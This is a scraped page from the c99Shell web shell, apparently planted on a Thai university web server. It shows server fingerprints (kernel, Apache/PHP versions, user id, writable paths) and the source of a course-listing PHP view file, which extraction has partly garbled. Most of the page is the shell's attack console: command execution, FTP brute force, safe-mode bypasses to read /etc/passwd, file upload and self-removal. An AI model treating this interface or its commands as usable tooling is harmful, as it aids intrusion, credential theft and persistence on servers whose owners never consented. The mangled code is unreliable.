!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_checkNoSendGradeCourseRow.php (3.48 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_cfg 
= isset($qu_cfg) ? $qu_cfg->row() : NULL;
?>
<table class="headCol">
    <tr>
        <th class="seqCol"><font size="2" color="<?php echo $row_cfg->cfgFnClHeadTb;?>">ลำดับที่</font></th>
        <th><font size="2" color="<?php echo $row_cfg->cfgFnClHeadTb;?>">รายวิชา</font></th>
        <th class="editCol"><font size="2" color="<?php echo $row_cfg->cfgFnClHeadTb;?>">กลุ่ม</font></th>
        <th class="teacherCol"><font size="2" color="<?php echo $row_cfg->cfgFnClHeadTb;?>">อาจารย์ผู้รับผิดชอบส่งเกรด</font></th>
    </tr>
<?php
$i 
0;
$cnt 0;
if(isset(
$arr) && count($arr)) {
    foreach(
$arr as $key => $val) {
        
$flg 0;
        
$num 1;
?>
    <tr bgcolor="<?php echo $row_cfg->cfgBgClSwapTr;?>">
        <td colspan="4" class="indent"><font size="2"><?php echo $arr[$key]['cur']->curName;?></font></td>
    </tr>
<?php
        
for($j=0$j<count($arr[$key]['co']); $j++) {
            if(!(
is_null($arr[$key]['co'][$j])) && $arr[$key]['co'][$j]->num_rows()) {
                
$flg 1;
                echo 
"<tr onmouseover=\"bgColor='".$row_cfg->cfgBgClSwapTr."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
        <td align="center"><font size="2"><?php echo $num;?></td>
        <td class="indent"><font size="2"><?php echo $arr[$key]['co'][$j]->row()->crsCode.' '.explodeSquare($arr[$key]['co'][$j]->row()->crsName);?></td>
        <td align="center"><font size="2"><?php echo $arr[$key]['co'][$j]->row()->coSection;?></font></td>
        <td class="indent"><font size="2"><?php echo ($arr[$key]['co'][$j]->row()->coPrsId==NULL) ? "ไม่ได้กำหนด" $arr[$key]['co'][$j]->row()->prefixName.$arr[$key]['co'][$j]->row()->fName.' '.$arr[$key]['co'][$j]->row()->lName;?></font></td>
    </tr>
<?php
                $cnt
++;
                
$num++;
            }
        }

        for(
$k=0$k<count($arr[$key]['co2']); $k++) {
            if(!(
is_null($arr[$key]['co2'][$k])) && $arr[$key]['co2'][$k]->num_rows()) {
                
$flg 1;
                echo 
"<tr onmouseover=\"bgColor='".$row_cfg->cfgBgClSwapTr."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
        <td align="center"><font size="2"><?php echo $num;?></td>
        <td class="indent"><font size="2"><?php echo $arr[$key]['co2'][$k]->row()->crsCode.' '.explodeSquare($arr[$key]['co2'][$k]->row()->crsName);?><font color="<?php echo $row_cfg->cfgFnClErrSpec;?>"> (เรียนรวมหลายหลักสูตร) </font></td>
        <td align="center"><font size="2"><?php echo $arr[$key]['co2'][$k]->row()->coSection;?></font></td>
        <td class="indent"><font size="2"><?php echo ($arr[$key]['co'][$j]->row()->coPrsId==NULL) ? "ไม่ได้กำหนด" $arr[$key]['co'][$j]->row()->prefixName.$arr[$key]['co'][$j]->row()->fName.' '.$arr[$key]['co'][$j]->row()->lName;?></font></td>
    </tr>
<?php
                $cnt
++;
                
$num++;
            }
        }

        if(
$flg==0) {
            echo 
"<tr onmouseover=\"bgColor='".$row_cfg->cfgBgClSwapTr."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
        <td colspan="2" align="center">-</td>
        <td align="center">-</td>
        <td class="indent">-</td>
    </tr>
<?php
        
}

        
$i++;
    }
} else {
?>
    <tr>
        <td colspan="5" align="center"><font size="2" color="<?php echo $row_cfg->cfgFnClErrSpec?>">** ไม่ปรากฏรายวิชาที่เปิดสอนในฐานข้อมูล **</font></td>
    </tr>
<?php
}
?>
</table>
<table width="100%">
    <tr>
        <td colspan="4" align="right">รวม <?php echo $cnt;?> รายการ</td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0124 ]--